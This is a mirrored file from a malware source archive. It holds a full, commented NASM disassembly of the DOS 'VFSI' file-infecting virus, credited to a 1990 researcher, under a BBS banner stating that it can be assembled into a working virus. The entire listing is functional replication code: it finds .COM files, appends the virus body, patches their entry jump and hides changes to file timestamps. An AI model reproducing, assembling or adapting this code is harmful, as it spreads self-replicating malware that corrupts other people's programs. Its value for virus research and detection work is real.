mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
326 lines
9.1 KiB
NASM
326 lines
9.1 KiB
NASM
;****************************************************************************;
|
||
; ;
|
||
; -=][][][][][][][][][][][][][][][=- ;
|
||
; -=] P E R F E C T C R I M E [=- ;
|
||
; -=] +31.(o)79.426o79 [=- ;
|
||
; -=] [=- ;
|
||
; -=] For All Your H/P/A/V Files [=- ;
|
||
; -=] SysOp: Peter Venkman [=- ;
|
||
; -=] [=- ;
|
||
; -=] +31.(o)79.426o79 [=- ;
|
||
; -=] P E R F E C T C R I M E [=- ;
|
||
; -=][][][][][][][][][][][][][][][=- ;
|
||
; ;
|
||
; *** NOT FOR GENERAL DISTRIBUTION *** ;
|
||
; ;
|
||
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
|
||
; Around Among the General Public. It Will be Very Useful for Learning how ;
|
||
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
|
||
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
|
||
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
|
||
; Is. Keep This Code in Responsible Hands! ;
|
||
; ;
|
||
;****************************************************************************;
|
||
page ,132
|
||
name VFSI
|
||
title The 'VFSI' virus
|
||
.radix 16
|
||
|
||
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||
; º Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 º
|
||
; º Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 º
|
||
; º º
|
||
; º The 'VFSI' Virus º
|
||
; º Disassembled by Vesselin Bontchev, September 1990 º
|
||
; º º
|
||
; º Copyright (c) Vesselin Bontchev 1989, 1990 º
|
||
; º º
|
||
; º This listing is only to be made available to virus researchers º
|
||
; º or software writers on a need-to-know basis. º
|
||
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||
|
||
; The disassembly has been tested by re-assembly using MASM 5.0.
|
||
|
||
code segment
|
||
assume cs:code, ds:code
|
||
|
||
org 100
|
||
|
||
msg_len equ msg_2-msg_1 ; Length of each of the two messages
|
||
|
||
start:
|
||
jmp v_entry ; Jump to the virus body
|
||
nop ; The rest of the infected program
|
||
mov ax,4C00 ; Just terminate
|
||
int 21
|
||
|
||
; 1-15 bytes of garbage (in order to align
|
||
; the virus code to a paragraph boundary):
|
||
|
||
db 7 dup (0)
|
||
|
||
v_entry:
|
||
mov ax,word ptr ds:[start+1]
|
||
add ax,offset start ; Compute the virus start address
|
||
|
||
mov cl,4 ; Convert it to a segment address
|
||
shr ax,cl
|
||
mov cx,ds
|
||
add ax,cx
|
||
inc ax
|
||
mov ds,ax ; Put this segment address in DS
|
||
|
||
jmp v_start ; Jump to the true virus code
|
||
|
||
first3 db 0EBh, 2, 90 ; The original first 3 bytes
|
||
fmask db '*.COM', 0 ; Files to search for
|
||
jmp_op db 0E9 ; A JMP to the virus body is formed here
|
||
jmp_adr dw 0Dh
|
||
|
||
; First of the two encrypted messages. It says:
|
||
; 'HELLO!!! HAPPY DAY and SUCCESS'
|
||
|
||
msg_1 db 2Ah, 28h, 30h, 31h, 35h, 08h
|
||
db 09h, 0Ah, 0Ah, 33h, 2Dh, 3Dh
|
||
db 3Eh, 48h, 10h, 35h, 33h, 4Ch
|
||
db 14h, 56h, 64h, 5Bh, 18h, 4Ch
|
||
db 4Fh, 3Eh, 3Fh, 42h, 51h, 52h
|
||
|
||
; Second encrypted message. It says:
|
||
; ' from virus 1.1 VFSI-Svistov '
|
||
|
||
msg_2 db 02h, 03h, 4Ah, 57h, 55h, 54h
|
||
db 08h, 5Fh, 53h, 5Dh, 61h, 60h
|
||
db 0Eh, 20h, 1Eh, 22h, 12h, 49h
|
||
db 3Ah, 48h, 3Fh, 24h, 4Bh, 6Fh
|
||
db 63h, 6Eh, 70h, 6Ch, 74h, 1Fh
|
||
|
||
grb_len db 7 ; Length of the garbage added to the file
|
||
|
||
v_start:
|
||
push ds ; Save DS
|
||
|
||
mov ax,ds:[first3-v_entry] ; Restore the original first 3
|
||
mov word ptr cs:[offset start],ax ; bytes of the infected file
|
||
mov al,ds:[first3+2-v_entry]
|
||
mov byte ptr cs:[offset start+2],al
|
||
|
||
mov ax,1A00 ; Set new DTA
|
||
lea dx,cs:[dta-v_entry]
|
||
int 21 ; Do it
|
||
|
||
mov ax,4E00 ; Find first .COM file in the current directory
|
||
lea dx,cs:[fmask-v_entry] ; File mask to search for
|
||
mov cx,00100010b ; Archive, Hidden and Normal files
|
||
int 21 ; Do it
|
||
|
||
srch_lp:
|
||
jnc cont ; If found, continue
|
||
jmp close ; Otherwize exit
|
||
|
||
cont:
|
||
mov ax,3D02 ; Open the file for both reading and writing
|
||
lea dx,cs:[fname-v_entry]
|
||
int 21 ; Do it
|
||
|
||
mov bx,ax ; Save file handle in BX
|
||
|
||
mov ax,4202 ; Lseek to the end of file
|
||
xor cx,cx
|
||
xor dx,dx
|
||
int 21 ; Do it
|
||
|
||
mov word ptr ds:[fsize-v_entry],ax ; Save file size
|
||
|
||
sub ax,2 ; Lseek two bytes before the file end
|
||
mov dx,ax
|
||
mov ax,4200
|
||
int 21 ; Do it
|
||
|
||
mov ax,3F00 ; Read the last two bytes of the file
|
||
lea dx,cs:[last2-v_entry] ; Put them there
|
||
mov cx,2 ; (these bytes should contain
|
||
int 21 ; the virus signature)
|
||
|
||
mov cx,ds:[last2-v_entry] ; Get these bytes
|
||
cmp cx,ds:[sign-v_entry] ; Compare them with the virus signature
|
||
|
||
; If they are not equal, then the file is still not infected. Go infect it:
|
||
|
||
jne infect
|
||
|
||
mov ax,3E00 ; If file infected, close it
|
||
int 21 ; Do close
|
||
|
||
mov ax,4F00 ; Find the next .COM file
|
||
lea dx,cs:[dta-v_entry]
|
||
int 21 ; Do it
|
||
|
||
jmp srch_lp ; Loop until a non-infected file is found
|
||
|
||
; A non-infected file is found. Infect it:
|
||
|
||
infect:
|
||
mov ax,5700 ; Get file's date & time
|
||
int 21 ; Do it
|
||
|
||
push cx ; Save time & date on stack
|
||
push dx
|
||
|
||
mov ax,4200 ; Lseek to the file beginning
|
||
xor dx,dx
|
||
xor cx,cx
|
||
int 21 ; Do it
|
||
|
||
mov ax,3F00 ; Read the original first 3 bytes of the file
|
||
mov cx,3
|
||
lea dx,cs:[first3-v_entry] ; Save them in the virus body
|
||
int 21 ; Do it
|
||
|
||
mov ax,4200 ; Lseek to the beginning of the file again
|
||
xor dx,dx
|
||
xor cx,cx
|
||
int 21 ; Do it
|
||
|
||
; Align file size to the next multiple of 16:
|
||
|
||
mov ax,ds:[fsize-v_entry]
|
||
and ax,1111b
|
||
push ax ; Save AX
|
||
xor ax,1111b
|
||
inc ax
|
||
|
||
; Save the number of garbage bytes added in grb_len:
|
||
|
||
mov byte ptr ds:[grb_len-v_entry],al
|
||
|
||
add ax,ds:[fsize-v_entry] ; Form a Near JMP to the virus code
|
||
sub ax,3
|
||
mov word ptr ds:[jmp_adr-v_entry],ax ; Form the operand
|
||
|
||
mov ax,4000 ; Write this JMP in the first 3 bytes of file
|
||
lea dx,cs:[jmp_op-v_entry]
|
||
mov cx,3
|
||
int 21 ; Do it
|
||
|
||
mov ax,4202 ; Lseek to the end of file
|
||
mov dx,0
|
||
xor cx,cx
|
||
int 21 ; Do it
|
||
|
||
lea cx,cs:[v_end-v_entry-1] ; Virus size
|
||
pop ax ; Restore AX (new file size)
|
||
mov dx,ax
|
||
xor ax,1111b
|
||
add ax,2
|
||
add cx,ax ; Number of bytes to write
|
||
|
||
mov ax,ds ; DS := DS - 1
|
||
dec ax
|
||
mov ds,ax
|
||
|
||
mov ax,4000 ; Write the virus body after the end of file
|
||
int 21 ; Do it
|
||
|
||
pop dx ; Restore file's date & time
|
||
pop cx
|
||
mov ax,5701
|
||
int 21 ; Do it
|
||
|
||
close:
|
||
mov ax,3E00 ; Close the file
|
||
int 21
|
||
|
||
pop ds ; Restore DS
|
||
|
||
mov ah,2C ; Get current time
|
||
int 21
|
||
|
||
; If the hundreds of seconds are > 20, quit.
|
||
; This means that the messages are displayed
|
||
; with a probability of about 1/5:
|
||
|
||
cmp dl,20d ; Hundreds of seconds > 20?
|
||
jg quit ; Exit if so
|
||
|
||
; Print the messages:
|
||
|
||
mov ax,0E07 ; Beep (teletype write of ASCII 7)
|
||
int 10 ; Do it
|
||
|
||
mov ax,0F00 ; Get video mode
|
||
int 10 ; Do it
|
||
|
||
push ax ; Save mode on the stack
|
||
|
||
xor ax,ax ; Set video mode to 40x25 text
|
||
int 10 ; Do it
|
||
|
||
mov cx,msg_len ; Put message length in CX
|
||
mov dx,0A06 ; Goto row 10, column 6
|
||
mov bl,0E ; Screen attribute: dark yellow on black
|
||
lea bp,cs:[msg_1-v_entry] ; Point to the first message
|
||
|
||
prt_msg:
|
||
mov ah,2 ; Go to the next display position
|
||
int 10 ; Do it
|
||
|
||
mov si,msg_len ; Get an ecrypted character from the message
|
||
sub si,cx
|
||
mov al,ds:[bp+si]
|
||
|
||
add al,msg_len ; These two instruction are needless
|
||
sub al,msg_len
|
||
|
||
add al,cl ; Decrypt the character
|
||
|
||
mov ah,9 ; Write the character with the
|
||
int 10 ; selected attribute
|
||
|
||
inc dl ; Go to the next screen position
|
||
|
||
loop prt_msg ; Loop until done
|
||
|
||
cmp dh,10d ; Was this row 10?
|
||
jne msg_done ; If not, message printed; exit
|
||
|
||
mov cx,msg_len ; Otherwise get the length of the next message
|
||
mov bl,8C ; Screen attribute: blinking bright red on black
|
||
mov dx,0C06 ; Go to row 12, column 6
|
||
lea bp,cs:[msg_2-v_entry] ; Point to the second message
|
||
jmp prt_msg ; And go print it
|
||
|
||
msg_done:
|
||
xor cx,cx ; CX := 0
|
||
delay:
|
||
imul cx ; Cause a delay
|
||
imul cx
|
||
loop delay ; Loop until done
|
||
|
||
pop ax ; Restore video mode from the stack
|
||
xor ah,ah
|
||
int 10 ; Set it as it was originally
|
||
|
||
quit:
|
||
push cs ; DS := CS
|
||
pop ds
|
||
|
||
mov ax,1A00 ; Restore old DTA
|
||
mov dx,81
|
||
int 21 ; Do it
|
||
|
||
mov si,offset start ; Jump to address CS:100h
|
||
jmp si ; Do it
|
||
|
||
sign db 0F1, 0C8 ; Virus signature
|
||
|
||
v_end equ $
|
||
|
||
fsize equ $ ; Word. File size is saved here
|
||
last2 equ $+2 ; Word. Buffer for reading the virus signature
|
||
dta equ $+4 ; Disk Transfer Area
|
||
fname equ dta+1E ; File name found
|
||
|
||
code ends
|
||
end start
|
||
|